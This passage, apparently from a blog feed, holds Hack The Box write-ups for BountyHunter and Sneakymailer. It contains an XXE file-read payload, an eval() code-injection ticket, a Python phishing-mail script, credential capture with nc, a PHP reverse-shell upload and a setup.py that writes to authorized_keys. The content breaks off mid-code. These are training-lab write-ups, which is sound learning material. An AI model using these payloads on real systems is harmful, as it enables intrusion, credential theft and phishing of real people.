		&amp;lt;reward&amp;gt;557575&amp;lt;/reward&amp;gt;
		&amp;lt;/bugreport&amp;gt;

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;i sent this data in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;data&lt;/code&gt; parameter but  i didn’t get anything  🧐&lt;/p&gt;

&lt;p&gt;okey no problem i made Bounty Report via  &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;log_submit.php&lt;/code&gt; and it send request to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tracker_diRbPr00f314.php&lt;/code&gt; page but i found my submition trasnport in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;data&lt;/code&gt; parameter its encoded  (url&amp;amp;base64)&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/137603148-3ed9e522-ca06-4c2b-b36c-3a9fcbfd5410.png&quot; alt=&quot;screen7&quot; /&gt;&lt;/p&gt;

&lt;h5 id=&quot;thats-very-good-lets-encode-our-xml-code-and-try-to-inject-again&quot;&gt;thats very good lets encode our xml code and try to inject again&lt;/h5&gt;

&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/137605272-2b51d560-7b33-4ef7-9586-5aad5f9fac42.png&quot; alt=&quot;screen8&quot; /&gt;&lt;/p&gt;

&lt;p&gt;another trick we can do to reverse source code of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;db.php&lt;/code&gt; file by using “php://filter/convert.base64-encode/resource=db.php”&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;lt;?xml  version=&quot;1.0&quot; encoding=&quot;ISO-8859-1&quot;?&amp;gt;
&amp;lt;!DOCTYPE foo [ &amp;lt;!ENTITY xxe SYSTEM &quot;php://filter/convert.base64-encode/resource=db.php&quot;&amp;gt; ]&amp;gt;
		&amp;lt;bugreport&amp;gt;
		&amp;lt;title&amp;gt;&amp;amp;xxe;&amp;lt;/title&amp;gt;
		&amp;lt;cwe&amp;gt;kajskdajd&amp;lt;/cwe&amp;gt;
		&amp;lt;cvss&amp;gt;8787&amp;lt;/cvss&amp;gt;
		&amp;lt;reward&amp;gt;557575&amp;lt;/reward&amp;gt;
		&amp;lt;/bugreport&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/137605413-b7401f59-fe33-4b58-b1c4-97595127c23e.png&quot; alt=&quot;secreen10&quot; /&gt;&lt;/p&gt;

&lt;p&gt;after decoding this string&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;lt;?php
// TODO -&amp;gt; Implement login system with the database.
$dbserver = &quot;localhost&quot;;
$dbname = &quot;bounty&quot;;
$dbusername = &quot;admin&quot;;
$dbpassword = &quot;m19RoAU0hP41A1sTsq6K&quot;;
$testuser = &quot;test&quot;;
?&amp;gt;

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;we got db user name and password actually i don’t know what should i do with this credential so i decided to take break and watch movie…..&lt;/p&gt;

&lt;p&gt; &lt;strong&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SSH&lt;/code&gt; is opened !!&lt;/strong&gt;  —»&amp;gt; lets try,i thought that this password may be for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ssh&lt;/code&gt; no another thing to do so lets list all users we got it from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;etc/passwd&lt;/code&gt; file and login.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
development:x:1000:1000:Development:/home/development:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;acullay we can use tools like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hydra&lt;/code&gt; to bruteforce user&lt;/strong&gt; but i make it manually HOW!!&lt;/p&gt;

&lt;p&gt;we can check users that have password on machine or Take a look at the uncommon users of Linux, but i recommend it when in small scope why!! not to make firewall if there to detect you ,accully i dont like bruteforce it my last choice&lt;/p&gt;

&lt;h4 id=&quot;note-that-an--x---character-indicates-that-encrypted-password-is-stored-in-etcshadow-file-like-rootx&quot;&gt;(Note that An  &lt;strong&gt;x&lt;/strong&gt;   character indicates that encrypted password is stored in /etc/shadow file like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;root:x:&lt;/code&gt;)&lt;/h4&gt;

&lt;p&gt;notice &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;development&lt;/code&gt; user&lt;/p&gt;
&lt;h4 id=&quot;3--ssh&quot;&gt;3- SSH&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/137606008-3e515acb-4ed8-454b-8308-333149468173.png&quot; alt=&quot;screen11&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;root-access&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ROOT access&lt;/code&gt;&lt;/h2&gt;

&lt;p&gt;first lets check what this user can do so i used &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sudo -l&lt;/code&gt; command&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/138506691-a3e3812b-67e9-45d0-80bb-78900b4cc3b6.png&quot; alt=&quot;screen16&quot; /&gt;&lt;/p&gt;

&lt;p&gt;this user can run this &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/opt/skytrain_inc/ticketValidator.py&lt;/code&gt; file so lets see what  this file do&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.

def load_file(loc):
    if loc.endswith(&quot;.md&quot;):
        return open(loc, 'r')
    else:
        print(&quot;Wrong file type.&quot;)
        exit()

def evaluate(ticketFile):
    #Evaluates a ticket to check for ireggularities.
    code_line = None
    for i,x in enumerate(ticketFile.readlines()):
        if i == 0:
            if not x.startswith(&quot;# Skytrain Inc&quot;):
                return False
            continue
        if i == 1:
            if not x.startswith(&quot;## Ticket to &quot;):
                return False
            print(f&quot;Destination: {' '.join(x.strip().split(' ')[3:])}&quot;)
            continue

        if x.startswith(&quot;__Ticket Code:__&quot;):
            code_line = i+1
            continue

        if code_line and i == code_line:
            if not x.startswith(&quot;**&quot;):
                return False
            ticketCode = x.replace(&quot;**&quot;, &quot;&quot;).split(&quot;+&quot;)[0]
            if int(ticketCode) % 7 == 4:
                validationNumber = eval(x.replace(&quot;**&quot;, &quot;&quot;))
                if validationNumber &amp;gt; 100:
                    return True
                else:
                    return False
    return False

def main():
    fileName = input(&quot;Please enter the path to the ticket file.\n&quot;)
    ticket = load_file(fileName)
    #DEBUG print(ticket)
    result = evaluate(ticket)
    if (result):
        print(&quot;Valid ticket.&quot;)
    else:
        print(&quot;Invalid ticket.&quot;)
    ticket.close

main()
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Okey after analysis this file this file check about ticket is valid or not&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;important notes about this python code :&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;1-ticket file should have &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;md&lt;/code&gt; extention.&lt;/p&gt;

&lt;p&gt;2- &lt;strong&gt;eval()&lt;/strong&gt;–» way to excute malicious code but first we should pass filters.&lt;/p&gt;

&lt;p&gt;on exploring this server i found folder that have sample of &lt;strong&gt;invalid&lt;/strong&gt; tickets in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/opt/skytrain_inc/&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;so i downloaded this code and created test.md file to check the valid format of ticket.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;valid format steps&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;1-first line  starts with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;# Skytrain Inc&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;2-second line starts with&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;## Ticket to&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;3-third line starts with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;__Ticket Code:__&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;4-&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Line 29&lt;/code&gt; it checks if the fourth line is in or not ,if the line exist should starts with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;**&lt;/code&gt; and  the script removes the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;**&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;so in the forth line we can excute code so upload sample of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;test.md&lt;/code&gt; in valid format on the server and tried to run the code&lt;/p&gt;

&lt;p&gt;and try to  read &lt;strong&gt;/root/root.txt&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;# Skytrain Inc
## Ticket to
__Ticket Code:__
**180+ 30 == 210 and __import__('os').system('cat /root/root.txt') 

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Finally PWN!!&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/142423714-9e6e8cc0-088c-4171-943f-1ed4f87de684.png&quot; alt=&quot;Screenshot_20211012_222418&quot; /&gt;&lt;/p&gt;</content><author><name></name></author><summary type="html">Hack The Box - BountyHunter</summary></entry><entry><title type="html">Sneakymailer</title><link href="https://python4004.github.io/sneakymailer" rel="alternate" type="text/html" title="Sneakymailer" /><published>2021-03-16T00:00:00+00:00</published><updated>2021-03-16T00:00:00+00:00</updated><id>https://python4004.github.io/sneakymailer</id><content type="html" xml:base="https://python4004.github.io/sneakymailer">&lt;h1 id=&quot;hack-the-box---sneakymailer&quot;&gt;Hack The Box - Sneakymailer&lt;/h1&gt;

&lt;h2 id=&quot;this-is-my-writeup-and-walkthrough-for-sneakymailer-from-hack-the-box&quot;&gt;This is my writeup and walkthrough for sneakymailer from Hack The Box.&lt;/h2&gt;

&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/91232091-b803f380-e72e-11ea-9097-71010dfe8f28.png&quot; alt=&quot;unknown&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;a-medium-linux-machine&quot;&gt;a medium linux machine.&lt;/h2&gt;
&lt;h2 id=&quot;enumeration&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Enumeration&lt;/code&gt;&lt;/h2&gt;

&lt;h4 id=&quot;1-nmap&quot;&gt;1-Nmap&lt;/h4&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;nmap -sC -sV -O 10.10.10.197
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-18 12:38 EET
Nmap scan report for sneakycorp.htb (10.10.10.197)
Host is up (0.34s latency).
Not shown: 993 closed ports
PORT     STATE SERVICE  VERSION
21/tcp   open  ftp      vsftpd 3.0.3
22/tcp   open  ssh      OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 57:c9:00:35:36:56:e6:6f:f6:de:86:40:b2:ee:3e:fd (RSA)
|   256 d8:21:23:28:1d:b8:30:46:e2:67:2d:59:65:f0:0a:05 (ECDSA)
|_  256 5e:4f:23:4e:d4:90:8e:e9:5e:89:74:b3:19:0c:fc:1a (ED25519)
25/tcp   open  smtp     Postfix smtpd
|_smtp-commands: debian, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING, 
80/tcp   open  http     nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Employee - Dashboard
143/tcp  open  imap     Courier Imapd (released 2018)
|_imap-capabilities: STARTTLS ACL OK UIDPLUS ACL2=UNION IDLE IMAP4rev1 CHILDREN QUOTA THREAD=ORDEREDSUBJECT THREAD=REFERENCES completed ENABLE CAPABILITY UTF8=ACCEPTA0001 NAMESPACE SORT
| ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US
| Subject Alternative Name: email:postmaster@example.com
| Not valid before: 2020-05-14T17:14:21
|_Not valid after:  2021-05-14T17:14:21
|_ssl-date: TLS randomness does not represent time
993/tcp  open  ssl/imap Courier Imapd (released 2018)
|_imap-capabilities: ACL OK UIDPLUS ACL2=UNION IDLE IMAP4rev1 CHILDREN QUOTA THREAD=ORDEREDSUBJECT AUTH=PLAIN completed CAPABILITY ENABLE NAMESPACE UTF8=ACCEPTA0001 THREAD=REFERENCES SORT
| ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US
| Subject Alternative Name: email:postmaster@example.com
| Not valid before: 2020-05-14T17:14:21
|_Not valid after:  2021-05-14T17:14:21
|_ssl-date: TLS randomness does not represent time
8080/tcp open  http     nginx 1.14.2
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: nginx/1.14.2
|_http-title: Welcome to nginx!
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=8/18%OT=21%CT=1%CU=44566%PV=Y%DS=2%DC=I%G=Y%TM=5F3BB00
OS:9%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=108%TI=Z%CI=Z%II=I%TS=A)OPS
OS:(O1=M54BST11NW7%O2=M54BST11NW7%O3=M54BNNT11NW7%O4=M54BST11NW7%O5=M54BST1
OS:1NW7%O6=M54BST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN
OS:(R=Y%DF=Y%T=40%W=FAF0%O=M54BNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A
OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R
OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F
OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%
OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD
OS:=S)

Network Distance: 2 hops
Service Info: Host:  debian; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 115.24 seconds
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;when i visited &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;http://10.10.10.179&lt;/code&gt; it redirected me to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;http://sneakycorp.htb&lt;/code&gt; i added sneakymailer.htb to my &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;etc/hosts&lt;/code&gt;
then i discovered the platform.
i found that this platform contains all Company employees mails in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;team.php&lt;/code&gt; page  so i extract all this mails from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Html&lt;/code&gt; page online &lt;a href=&quot;http://www.emailx.discoveryvip.com/&quot;&gt;extract&lt;/a&gt;
and looking to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nmap&lt;/code&gt; result we found that port 25 is open so that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;smtp&lt;/code&gt;  ,so the idea that i have to send phishing mail to all of this mails for this i create python script to send phishing mail&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;import smtplib 
 

addresslist = ['airisatou@sneakymailer.htb','angelicaramos@sneakymailer.htb','ashtoncox@sneakymailer.htb','bradleygreer@sneakymailer.htb','brendenwagner@sneakymailer.htb',
'briellewilliamson@sneakymailer.htb','brunonash@sneakymailer.htb','caesarvance@sneakymailer.htb','carastevens@sneakymailer.htb', 
'cedrickelly@sneakymailer.htb','chardemarshall@sneakymailer.htb','colleenhurst@sneakymailer.htb','dairios@sneakymailer.htb','donnasnider@sneakymailer.htb',
'doriswilder@sneakymailer.htb','finncamacho@sneakymailer.htb','fionagreen@sneakymailer.htb','garrettwinters@sneakymailer.htb','gavincortez@sneakymailer.htb', 
'gavinjoyce@sneakymailer.htb', 'glorialittle@sneakymailer.htb', 'haleykennedy@sneakymailer.htb','hermionebutler@sneakymailer.htb','herrodchandler@sneakymailer.htb', 
'hopefuentes@sneakymailer.htb', 'howardhatfield@sneakymailer.htb', 'jacksonbradshaw@sneakymailer.htb','jenagaines@sneakymailer.htb','jenettecaldwell@sneakymailer.htb',
'jenniferacosta@sneakymailer.htb', 'jenniferchang@sneakymailer.htb', 'jonasalexander@sneakymailer.htb','laelgreer@sneakymailer.htb','martenamccray@sneakymailer.htb',
'michaelsilva@sneakymailer.htb', 'michellehouse@sneakymailer.htb', 'olivialiang@sneakymailer.htb','paulbyrd@sneakymailer.htb','prescottbartlett@sneakymailer.htb', 
'quinnflynn@sneakymailer.htb', 'rhonadavidson@sneakymailer.htb', 'sakurayamamoto@sneakymailer.htb', 'sergebaldwin@sneakymailer.htb','shaddecker@sneakymailer.htb', 
'shouitou@sneakymailer.htb', 'sonyafrost@sneakymailer.htb', 'sukiburks@sneakymailer.htb','sulcud@sneakymailer.htb', 'tatyanafitzpatrick@sneakymailer.htb', 
'thorwalton@sneakymailer.htb', 'tigernixon@sneakymailer.htb', 'timothymooney@sneakymailer.htb', 'unitybutler@sneakymailer.htb', 'vivianharrell@sneakymailer.htb',
'yuriberry@sneakymailer.htb','zenaidafrank@sneakymailer.htb'] 
 
fromaddr = 'it@sneakymailer.htb' 
 
for address in addresslist: 
    toaddrs  = address 
    TEXT = 'we have a security issue please visit http://10.10.16.120' 
    SUBJECT = 'Security issue' 
    msg = 'Subject: %s\n\n%s' % (SUBJECT, TEXT) 
 
    server = smtplib.SMTP('10.10.10.197',25) 
    server.starttls() 
    server.sendmail(fromaddr, toaddrs, msg) 
    server.quit() 

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;open port 80 to listen 
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nc -lnvp 80&lt;/code&gt;&lt;br /&gt;
waiting and finally  recive data from mails contains his mail, username and password
&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/91237371-bc360e00-e73a-11ea-8948-11d3e6743303.png&quot; alt=&quot;recievedmailcredential&quot; /&gt;&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;email=paulbyrd%40sneakymailer.htb&amp;amp;
password=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt
%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;i decode this string online&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;username: PaulByrd

password: ^(#J@SkFv2[%KhIxKk(Ju`hqcHl&amp;lt;:Ht

email: paulbyrd@sneakymailer.htb

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;i tried to login to ftp server by this credential but i failed to login ,i stopped i don’t know what to do
so one of my friend give me a hent.&amp;lt;/br&amp;gt;
Hent was to know what microsoft lookup.&lt;/p&gt;

&lt;p&gt;So I searched to find a similar package for Linux in this link you will know all package &lt;a href=&quot;https://itsfoss.com/best-email-clients-linux/&quot;&gt;linux mailer &lt;/a&gt;.
i installed  &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;evolution&lt;/code&gt;.
i login successfully&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/91236339-f5b94a00-e737-11ea-922d-3cfc5e96c6fe.png&quot; alt=&quot;evolution&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I found mail from PaulByrd asked admin to change his name and password 
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Hello administrator, I want to change this password for the developer account&lt;/code&gt;
so now i have credintial to login ftp server. 
&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/91236909-7b89c500-e739-11ea-8176-2c7bb1970b56.png&quot; alt=&quot;ftp-connectd&quot; /&gt;
so i downloaded all ftp server files on my pc to explore it comfortably by this command 
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wget -r -l 10 --ftp-user='developer' --ftp-password='m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C' ftp://10.10.10.197/&lt;/code&gt;
&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/91238766-17b5cb00-e73e-11ea-9e42-462e426b7f11.png&quot; alt=&quot;download-server-file&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I found the path to the dev file i tried to to upload reverse shell to ftp server by curl command but it didn’t work so i used &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;filezilla&lt;/code&gt; to upload revese shell freerly.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/91237690-93624880-e73b-11ea-8283-929a0ff9f91d.png&quot; alt=&quot;filezella&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I uploaded python reverse shell but it doent work so i grep php reverse shell from&lt;br /&gt;
&lt;a href=&quot;https://github.com/pentestmonkey/php-reverse-shell&quot;&gt;pentestmonkey&lt;/a&gt;  and uploaded it to server and get access to server.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/91237952-35823080-e73c-11ea-9654-b8b8da9de16f.png&quot; alt=&quot;connected-shell&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The first steps I always take are converting shell to full tty shell&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;    /usr/bin/script -qc /bin/bash /dev/null
    Ctrl-Z
    stty raw -echo
    fg
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h3 id=&quot;2-user-access&quot;&gt;2-user access&lt;/h3&gt;

&lt;p&gt;after connecting to server I tried to get &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;usr.txt&lt;/code&gt; but  can’t 
&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/95354773-1e9b3600-08c5-11eb-91e8-26956bf2b9d8.png&quot; alt=&quot;Screenshot from 2020-10-07 17-39-14&quot; /&gt;
so I took developer privilege his password ` m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;
![Screenshot from 2020-08-19 14-06-50](https://user-images.githubusercontent.com/36403473/95358441-5b692c00-08c9-11eb-9adc-d10aec84d9ed.png)
in &lt;/code&gt;/var/www/&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt; directory I found another subdomain &lt;/code&gt;pypi.sneakycorp.htb&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;, so i added it to &lt;/code&gt;/etc/hosts&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt; on my machine 
in &lt;/code&gt;pypi.sneakycorp.htb&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt; directory I found &lt;/code&gt;.hpasswd&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.&amp;lt;br/&amp;gt;
Firstly, I decrypted the hashed password it was MD5(APR)&amp;lt;br/&amp;gt; 
password after decryption &lt;/code&gt;soufianeelhaoui`&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;I now have the privileges to upload my pypi server content
So I had to look for a suitable Pypi Server. &amp;lt;/br&amp;gt;&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;The idea is to have a pypi server so that we can upload or modify files, etc. So I looked for ways to upload to the pypi server and use it to take the powers of the user.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;After searching, I found out how to install pypi server.
&lt;a href=&quot;https://www.linode.com/docs/applications/project-management/how-to-create-a-private-python-package-repository/&quot;&gt;pypi setup&lt;/a&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;The idea that I had in mind is to add the private ssh private to an empty autherized file, and from there, I can income via ssh and get low privileges.

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I created a package directory in tmp directory :&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;        __init__.py
    setup.py
    setup.cfg
    README.md
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;setup.py&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;from setuptools import setup ,find_packages
try:
 print ('hello')
 with open('/home/low/.ssh/authorized_keys','w+') as f:
